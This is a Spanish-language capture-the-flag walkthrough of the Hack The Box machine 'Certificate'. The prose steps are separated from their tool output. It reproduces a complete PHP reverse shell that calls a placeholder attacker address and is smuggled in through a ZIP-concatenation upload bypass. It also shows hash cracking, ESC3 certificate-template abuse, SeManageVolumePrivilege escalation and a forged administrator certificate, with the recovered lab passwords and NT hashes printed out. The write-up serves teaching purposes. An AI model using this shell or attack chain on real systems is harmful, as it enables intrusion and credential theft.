Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-16 11:43 PDT
Nmap scan report for 10.10.11.71
Host is up (0.029s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
|_http-title: Did not follow redirect to http://certificate.htb/
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-16 18:44:25Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-16T18:46:04+00:00; +1m23s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after: 2025-11-04T03:14:54
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-16T18:46:04+00:00; +1m23s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after: 2025-11-04T03:14:54
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after: 2025-11-04T03:14:54
|_ssl-date: 2025-10-16T18:46:04+00:00; +1m23s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after: 2025-11-04T03:14:54
|_ssl-date: 2025-10-16T18:46:04+00:00; +1m23s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49691/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49692/tcp open msrpc Microsoft Windows RPC
49693/tcp open msrpc Microsoft Windows RPC
49711/tcp open msrpc Microsoft Windows RPC
49714/tcp open msrpc Microsoft Windows RPC
49734/tcp open msrpc Microsoft Windows RPC
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-10-16T18:45:22
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 1m21s, deviation: 2s, median: 1m22s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.41 seconds
Veremos varios puerto interesantes, pero entre ellos serian el WinRM, LDAP, SMB, etc... Tambien vemos que nos esta mostrando un dominio junto con un DC en este caso DC01, por lo que vamos añadirlos a nuestro archivo hosts.
Lo guardaremos y probaremos a enumerar dicho dominio a ver que nos encontramos.
Si intentamos obtener informacion mediante los servidores DNS tampoco veremos informacion relevante.
Info:
Por lo que vamos a probar directamente por la Web que tiene en el puerto 80 metiendonos en dicho dominio:
Veremos una pagina normal sin nada aparentemente sospechoso, pero si le damos algunas opciones veremos que funciona por PHP esto es bastante interesante, tambien vemos un login y register, en el cual nos podremos crear una cuenta y posteriormente iniciar sesion con la misma, si nos vamos a cursos y de ahi bajamos un poco, dandole a cualquier curso veremos lo siguiente en la URL.
Vemos que esta llamando a un parametro con id, pero si le damos a inscribirnos en dicho curso veremos lo siguiente:
Concatena 2 parametros diferentes, ya tenemos varias cosas interesantes por las que investigar mas.
Evasive ZIP Concatenation
Una vez que nos inscribamos en el curso, si bajamos un poco veremos varias opciones, entre ellas Watch y otra interesante Submit, dandole a esta ultima veremos en la URL esto:
Vemos que hay un upload.php, la cosa ya se va poniendo interesante, tambien nos comentan las normas de subida.
Vemos bastante interesante el que podamos subir un archivo comprimido en ZIP podriamos probar a realizar un bypass de este mismo metiendo varios archivos concatenados, entre ellos que sean PDFs y despues un PHP, ya que generalmente las herramientas solo leen el ultimo archivo dentro del comprimido, por lo que dejaremos uno "legal" que sea un PDF en la ultima posicion y antes un archivo PHP con alguna reverse shell o algo parecido.
Ahora vamos a crear un archivo valido PDF con este comando:
Ahora vamos a comprimirlo por separado de esta forma:
Vamos a concatenar los ZIPs:
Antes de hacer nada vamos a ponernos a la escucha:
Ahora este ZIP lo subimos a la pagina, una vez echo esto si le damos al boton HERE veremos nuestro supuesto dummy.pdf en la pagina con un 404, pero si modificamos ese archivo en la URL por el nombre de shell.php veremos que funciona.
Pasar de esto:
Ha esto:
Ahora si volvemos donde tenemos la escucha, veremos lo siguiente:
Veremos que ha funcionado, por lo que vamos a investigar un poco a ver que vemos interesante por aqui.
Investigando un poco y vamos listando los recursos de los directorios a medida que vamos llendo para atras, veremos en esta ruta algo interesante, que es donde se aloja la pagina web.
Info:
Vemos que hay un archivo llamado db.php que suele contener las credenciales de conexion a la DDBB de mysql en este caso.
mysql (Windows)
db.php
Vemos que las credenciales de mysql son los siguientes:
Vamos a conectarnos a dicha DDBB con el binario de mysql de esta forma:
Info:
Veremos varias DDBBs interesantes, pero entre ellas una que llama la atencion certificate_webapp_db, vamos a ver que contiene.
Info:
Ahora vamos a ver que contiene la tabla users:
Info:
Veremos muy interesante que el unico usuario que es admin en la pagina es el usuario sara.b, por lo que vamos a probar a crackear dicha contraseña.
Escalate user sara.b
hash
Ahora vamos a probar con john:
Info:
Veremos que ha funcionado, pero en vez de iniciar sesion en la pagina, vamos a ver si estas credenciales son validas a nivel de sistema.
Info:
Veremos que si funciona, por lo que estas credenciales son validas a nivel de dominio, pero si las probamos directamente a conectarnos por WinRM.
Evil-winrm
Info:
Veremos que ha funcionado por lo que seremos dicho usuario.
Escalate user lion.sk
Sabiendo que tenemos unas credenciales y que podemos entrar por WinRM vamos a descargarnos un ZIP que nos sirva para importarlo en la herramienta de BloodHound de esta forma.
Info:
Vemos que hay 2 subdominios mas los cuales vamos añadir a nuestro archivo hosts.
BloodHound
Ahora vamos a instalar BloodHound de forma rapida en un docker:
Ahora que esta importado en nuestro docker y levantado podremos acceder a el desde la siguiente URL.
Nos logueamos con las credenciales propocionadas por la herramienta, entrando nos pedira cambiar las credenciales y ya nos metera dentro:
Una vez dentro vamos a importar el .zip y tendremos que esperar un poco a que cargue todos los datos, despues cuando vayamos al dashboard principal veremos todos los datos, vamos a investigar el usuario sara.b a ver que tiene.
Veremos esto que a simple vista no es nada interesante, por lo que vamos a dejarlo aparcado ahi y seguiremos investigando en las carpetas del usuario a ver que podremos ver.
Si listamos el propio directorio de cuando nos metemos por evil-winrm veremos lo siguiente:
Veremos una carpeta llamada WS-01, entrando dentro veremos:
Un archivo de texto con alguna descripcion y despues algo super interesante un .pcap (Una captura de datos de la red en ese momento con wireshark).
Description.txt
Ahora si vemos la captura con wireshark del .pcap veremos muchisimos datos, pero vamos a filtrar por metodos de autenticacion que son los que nos interesa por si hubiera capturado algo de kerberos5 ya que esta en un dominio los NTLM no nos interesan.
Antes vamos a descargarnos el archivo:
Info:
Ahora si filtramos por kerberos veremos algunos paquetes:
Aqui vemos claramente en el cname del AS-REP (Respuesta del servidor) que pertenece dicho TGT al usuario lion.sk, ahora vamos a ver si esta por ahi su TGT para intentar crackearlo.
En la parte de AS-REQ si nos vamos a la parte de padata en los campos de etype y cipher podremos montarnos nuestro propio hash para poder crackearlo con john pero tendremos que montar el hash de forma correcta quedando algo asi:
Cogemos el salt super importante:
El formato de un hashkerberos5 seria la siguiente:
Asi quedaria formado:
hash.krb5
Ahora vamos a probar a crackearlo.
Info:
Veremos que ha funcionado, por lo que vamos a probar a conectarnos por WinRM con dichas credenciales del usuario.
Info:
Veremos que ha funcionado, por lo que leeremos la flag del usuario.
user.txt
Escalate user ryan.k
Vamos a ver si descubre alguna vulnerabilidad o no en el dominio del AD con una herramienta:
Info:
Ahora vamos a ver que nos ha reportado:
Info:
Veremos que hemos encontrado una vulnerabilidadESC3 en la plantilla Delegated-CRA. Esta es una vulnerabilidad de Certificate Request Agent que puede ser explotada.
Primero obtendremos un certificado de Agent:
Info:
Ahora vamos a usar el certificado de Agent para solicitar un certificado para ryan.k (Vamos a probar con este usuario que es de los que nos quedan en el dominio):
Info:
Veremos que ha funcionado, por lo que ahora vamos a obtener el TGT del usuario, pero esto puede dar un error si no sincronizamos bien el timezone del DC por lo que haremos lo siguiente:
Info:
Ahora este hash NTLM lo podemos utilizar para autenticarnos realizando un Pass-The-Hash de esta forma:
Info:
Veremos que ha funcionado, vamos a listar los privilegios que tenemos:
Info:
Vemos algo bastante interesante y es el privilegio de SeManageVolumePrivilege que lo tenemos activado, con esto lo que podemos hacer es realizar operaciones de mantenimiento de volúmenes y puede ser usado para escalar privilegios
Escalate Privileges
Si buscamos en internet algun PoC para esta vulnerabilidad veremos la siguiente en el repo de GitHub.
Nos descargamos el SeManageVolumeExploit.exe y nos lo pasamos desde wvil-winrm a una carpeta en la que podamos escribir, por ejemplo en Downloads del usuario.
Info:
Una vez que nos lo hayamos pasado tendremos que ejecutarlo de esta forma:
Info:
Echo esto veremos que funciono por lo que tendremos que ejecutar el siguiente comando de seguido:
Info:
Veremos que si ha funcionado veremos que los permisos actualmente han cambiado viendo que cualquier usuario puede escribir o leer en la carpeta C:\Windows, esta informacion la saque del siguiente articulo:
Podriamos probar a generar una .dll como vemos en el articulo pero directamente el Windows Defender lo va a bloquear, por lo que no nos interesa, vamos a jugar con los certificados de los usuarios para obtener el de administrador ya que podremos crear con estos permisos cualquier certificado y posteriormente falsificarlo.
Antes tendremos que obtener el numero de serie del usuario Administrator, esto lo podemos hacer leyendo el volcado que realizamos anteriormente con la herramienta certipy cuando descubrimos que plantilla era la vulnerable:
Identificamos que el numero es 75B2F4BBF31F108945147B466131BDCA con este numero podremos obtener el certificado privilegiado sabiendo que los permisos que tenemos en la carpeta C:\Windows es de cualquier usuario, por lo que podremos pedirlo desde ahi.
Info:
Veremos que ha funcionado, por lo que vamos a descargarnos dicho archivo a nuestra maquina atacante.
Info:
Ahora podremos obtener un TGT gracias a este certificado privilegiado del usuario administrador.
Pero antes tendremos que saber la ruta del objeto admin del AD, gracias a BloodHound podremos saber esto mismo, buscando el objeto Administradtor y en la parte de informacion veremos esto:
Ahora vamos a forjar el .pfx del administrador para posteriormente obtener el TGT.
Info:
Una vez creado ese administrator_forged.pfx vamos a utilizarlo para autenticarnos y obtener le TGT de esta forma:
Info:
Veremos que ha funcionado, vamos a probar dicho hash con wvil-winrm a ver si podemos realizar un Pass-The-Hash.
Info:
Veremos que ha funcionado, por lo que vamos a leer la flag del admin.
1. Please select the assignment file you want to upload (the file will be reviewed by the course instructor)
2. We accept only the following file types: .pdf .docx .pptx .xlsx
3. You include the assignment file in .zip archive file to reduce it's size
<?php
// Copyright (c) 2020 Ivan Šincek
// v2.6
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
private $addr = null;
private $port = null;
private $os = null;
private $shell = null;
private $descriptorspec = array(
0 => array('pipe', 'r'), // shell can read from STDIN
1 => array('pipe', 'w'), // shell can write to STDOUT
2 => array('pipe', 'w') // shell can write to STDERR
);
private $buffer = 1024; // read/write buffer size
private $clen = 0; // command length
private $error = false; // stream read/write error
private $sdump = true; // script's dump
public function __construct($addr, $port) {
$this->addr = $addr;
$this->port = $port;
}
private function detect() {
$detected = true;
$os = PHP_OS;
if (stripos($os, 'LINUX') !== false || stripos($os, 'DARWIN') !== false) {
$this->os = 'LINUX';
$this->shell = '/bin/sh';
} else if (stripos($os, 'WINDOWS') !== false || stripos($os, 'WINNT') !== false || stripos($os, 'WIN32') !== false) {
$this->os = 'WINDOWS';
$this->shell = 'cmd.exe';
} else {
$detected = false;
echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
}
return $detected;
}
private function daemonize() {
$exit = false;
if (!function_exists('pcntl_fork')) {
echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
} else if (($pid = @pcntl_fork()) < 0) {
echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
} else if ($pid > 0) {
$exit = true;
echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
// once daemonized, you will actually no longer see the script's dump
} else if (posix_setsid() < 0) {
echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
} else {
echo "DAEMONIZE: Completed successfully!\n";
}
return $exit;
}
private function settings() {
@error_reporting(0);
@set_time_limit(0); // do not impose the script execution time limit
@umask(0); // set the file/directory permissions - 666 for files and 777 for directories
}
private function dump($data) {
if ($this->sdump) {
$data = str_replace('<', '<', $data);
$data = str_replace('>', '>', $data);
echo $data;
}
}
private function read($stream, $name, $buffer) {
if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
$this->error = true; // set the global error flag
echo "STRM_ERROR: Cannot read from {$name}, script will now exit...\n";
}
return $data;
}
private function write($stream, $name, $data) {
if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
$this->error = true; // set the global error flag
echo "STRM_ERROR: Cannot write to {$name}, script will now exit...\n";
}
return $bytes;
}
// read/write method for non-blocking streams
private function rw($input, $output, $iname, $oname) {
while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
$this->dump($data); // script's dump
}
}
// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
// we must read the exact byte length from a stream and not a single byte more
private function brw($input, $output, $iname, $oname) {
$size = fstat($input)['size'];
if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
// for some reason Windows OS pipes STDIN into STDOUT
// we do not like that
// so we need to discard the data from the stream
while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
$this->clen -= $bytes;
$size -= $bytes;
}
}
while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
$size -= $bytes;
$this->dump($data); // script's dump
}
}
public function run() {
if ($this->detect() && !$this->daemonize()) {
$this->settings();
// ----- SOCKET BEGIN -----
$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
if (!$socket) {
echo "SOC_ERROR: {$errno}: {$errstr}\n";
} else {
stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
// ----- SHELL BEGIN -----
$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
if (!$process) {
echo "PROC_ERROR: Cannot start the shell\n";
} else {
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
}
// ----- WORK BEGIN -----
$status = proc_get_status($process);
@fwrite($socket, "SOCKET: Shell has connected! PID: {$status['pid']}\n");
do {
$status = proc_get_status($process);
if (feof($socket)) { // check for end-of-file on SOCKET
echo "SOC_ERROR: Shell connection has been terminated\n"; break;
} else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still running
echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams
} // use proc_get_status() instead
$streams = array(
'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
'write' => null,
'except' => null
);
$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
if ($num_changed_streams === false) {
echo "STRM_ERROR: stream_select() failed\n"; break;
} else if ($num_changed_streams > 0) {
if ($this->os === 'LINUX') {
if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
} else if ($this->os === 'WINDOWS') {
// order is important
if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
}
}
} while (!$this->error);
// ------ WORK END ------
foreach ($pipes as $pipe) {
fclose($pipe);
}
proc_close($process);
}
// ------ SHELL END ------
fclose($socket);
}
// ------ SOCKET END ------
}
}
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('<IP_ATTACKER>', <PORT>);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>
listening on [any] 7777 ...
connect to [10.10.14.220] from (UNKNOWN) [10.10.11.71] 59955
SOCKET: Shell has connected! PID: 4468
Microsoft Windows [Version 10.0.17763.6532]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\certificate.htb\static\uploads\7b934ebcf8f621d619bd3a3854aa96fb>whoami
certificate\xamppuser
dir C:\xampp\htdocs\certificate.htb
12/30/2024 03:04 PM <DIR> .
12/30/2024 03:04 PM <DIR> ..
12/24/2024 01:45 AM 7,179 about.php
12/30/2024 02:50 PM 17,197 blog.php
12/30/2024 03:02 PM 6,560 contacts.php
12/24/2024 07:10 AM 15,381 course-details.php
12/24/2024 01:53 AM 4,632 courses.php
12/23/2024 05:46 AM 549 db.php
12/22/2024 11:07 AM 1,647 feature-area-2.php
12/22/2024 11:22 AM 1,331 feature-area.php
12/22/2024 11:16 AM 2,955 footer.php
12/23/2024 06:13 AM 2,351 header.php
12/24/2024 01:52 AM 9,497 index.php
12/25/2024 02:34 PM 5,908 login.php
12/23/2024 06:14 AM 153 logout.php
12/24/2024 02:27 AM 5,321 popular-courses-area.php
12/25/2024 02:27 PM 8,240 register.php
12/26/2024 02:49 AM <DIR> static
12/29/2024 12:26 AM 10,366 upload.php
16 File(s) 99,267 bytes
3 Dir(s) 4,355,551,232 bytes free
<?php
// Database connection using PDO
try {
$dsn = 'mysql:host=localhost;dbname=Certificate_WEBAPP_DB;charset=utf8mb4';
$db_user = 'certificate_webapp_user'; // Change to your DB username
$db_passwd = 'cert!f!c@teDBPWD'; // Change to your DB password
$options = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
];
$pdo = new PDO($dsn, $db_user, $db_passwd, $options);
} catch (PDOException $e) {
die('Database connection failed: ' . $e->getMessage());
}
?>
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 16 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Blink182 (sara.b)
1g 0:00:00:00 DONE (2025-10-18 11:11) 1.612g/s 19741p/s 19741c/s 19741C/s monday1..vallejo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: certificate.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.certificate.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 3 computers
INFO: Connecting to LDAP server: dc01.certificate.htb
INFO: Found 19 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: WS-05.certificate.htb
INFO: Querying computer: WS-01.certificate.htb
INFO: Querying computer: DC01.certificate.htb
INFO: Done in 00M 06S
INFO: Compressing output into 20251018111648_bloodhound.zip
nano /etc/hosts
#Dentro del nano
<IP> certificate.htb DC01.certificate.htb WS-05.certificate.htb WS-01.certificate.htb
wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
./bloodhound-cli install
..............................<RESTO DE INFO>......................................
Container bloodhound-graph-db-1 Creating
Container bloodhound-app-db-1 Creating
Container bloodhound-graph-db-1 Created
Container bloodhound-app-db-1 Created
Container bloodhound-bloodhound-1 Creating
Container bloodhound-bloodhound-1 Created
Container bloodhound-app-db-1 Starting
Container bloodhound-graph-db-1 Starting
Container bloodhound-app-db-1 Started
Container bloodhound-graph-db-1 Started
Container bloodhound-graph-db-1 Waiting
Container bloodhound-app-db-1 Waiting
Container bloodhound-graph-db-1 Healthy
Container bloodhound-app-db-1 Healthy
Container bloodhound-bloodhound-1 Starting
Container bloodhound-bloodhound-1 Started
[+] BloodHound is ready to go!
[+] You can log in as `admin` with this password: bnf8XsztC4Hypx6nMV5eSlhHpuDfEWgH
[+] You can get your admin password by running: bloodhound-cli config get default_password
[+] You can access the BloodHound UI at: http://127.0.0.1:8080/ui/login
Directory: C:\Users\Sara.B\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/4/2024 12:53 AM WS-01
Directory: C:\Users\Sara.B\Documents\WS-01
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/4/2024 12:44 AM 530 Description.txt
-a---- 11/4/2024 12:45 AM 296660 WS-01_PktMon.pcap
The workstation 01 is not able to open the "Reports" smb shared folder which is hosted on DC01.
When a user tries to input bad credentials, it returns bad credentials error.
But when a user provides valid credentials the file explorer freezes and then crashes!
download WS-01_PktMon.pcap
Info: Downloading C:\Users\Sara.B\Documents\WS-01\WS-01_PktMon.pcap to WS-01_PktMon.pcap
Info: Download successful!
Warning: detected hash type "krb5pa-sha1", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Warning: detected hash type "krb5pa-sha1", but the string is also recognized as "HMAC-SHA512"
Use the "--format=HMAC-SHA512" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (krb5pa-sha1, Kerberos 5 AS-REQ Pre-Auth etype 17/18 [PBKDF2-SHA1 128/128 AVX 4x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!QAZ2wsx (?)
1g 0:00:00:01 DONE (2025-10-18 11:55) 0.8620g/s 12358p/s 12358c/s 12358C/s 120806..cherry13
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
evil-winrm -i <IP> -u lion.sk -p '!QAZ2wsx'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Lion.SK\Documents> whoami
certificate\lion.sk
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 18 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'Certificate-LTD-CA' via RRP
[*] Successfully retrieved CA configuration for 'Certificate-LTD-CA'
[*] Checking web enrollment for CA 'Certificate-LTD-CA' @ 'DC01.certificate.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20251018120549_Certipy.txt'
[*] Wrote text output to '20251018120549_Certipy.txt'
[*] Saving JSON output to '20251018120549_Certipy.json'
[*] Wrote JSON output to '20251018120549_Certipy.json'
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 26
[*] Successfully requested certificate
[*] Got certificate with UPN 'Lion.SK@certificate.htb'
[*] Certificate object SID is 'S-1-5-21-515537669-4223687196-3249690583-1115'
[*] Saving certificate and private key to 'lion.sk.pfx'
[*] Wrote certificate and private key to 'lion.sk.pfx'
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 28
[*] Successfully requested certificate
[*] Got certificate with UPN 'ryan.k@certificate.htb'
[*] Certificate object SID is 'S-1-5-21-515537669-4223687196-3249690583-1117'
[*] Saving certificate and private key to 'ryan.k.pfx'
[*] Wrote certificate and private key to 'ryan.k.pfx'
2025-10-18 12:39:59.145531 (-0700) +1311.378520 +/- 0.014745 certificate.htb 10.10.11.71 s1 no-leap
CLOCK: time stepped by 1311.378520
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'ryan.k@certificate.htb'
[*] Security Extension SID: 'S-1-5-21-515537669-4223687196-3249690583-1117'
[*] Using principal: 'ryan.k@certificate.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ryan.k.ccache'
[*] Wrote credential cache to 'ryan.k.ccache'
[*] Trying to retrieve NT hash for 'ryan.k'
[*] Got hash for 'ryan.k@certificate.htb': aad3b435b51404eeaad3b435b51404ee:b1bc3d70e70f4f36b1509a65ae1a2ae6
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Ryan.K\Documents> whoami
certificate\ryan.k
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ================================ =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
cd C:\Users\Ryan.K\Downloads
upload SeManageVolumeExploit.exe
Info: Uploading /home/kali/Desktop/certificate/SeManageVolumeExploit.exe to C:\Users\Ryan.K\Downloads\SeManageVolumeExploit.exe
Data: 16384 bytes of 16384 bytes copied
Info: Upload successful!
Certificate Authorities
0
CA Name : Certificate-LTD-CA
DNS Name : DC01.certificate.htb
Certificate Subject : CN=Certificate-LTD-CA, DC=certificate, DC=htb
Certificate Serial Number : 75B2F4BBF31F108945147B466131BDCA
Certificate Validity Start : 2024-11-03 22:55:09+00:00
Certificate Validity End : 2034-11-03 23:05:09+00:00
2025-10-18 13:21:43.473635 (-0700) +250.439924 +/- 0.017683 certificate.htb 10.10.11.71 s1 no-leap
CLOCK: time stepped by 250.439924
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Saving forged certificate and private key to 'administrator_forged.pfx'
[*] Wrote forged certificate and private key to 'administrator_forged.pfx'
2025-10-18 13:23:58.929961 (-0700) +13.533612 +/- 0.026591 certificate.htb 10.10.11.71 s1 no-leap
CLOCK: time stepped by 13.533612
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'Administrator@certificate.htb'
[*] Using principal: 'administrator@certificate.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certificate.htb': aad3b435b51404eeaad3b435b51404ee:d804304519bf0143c14cbf1c024408c6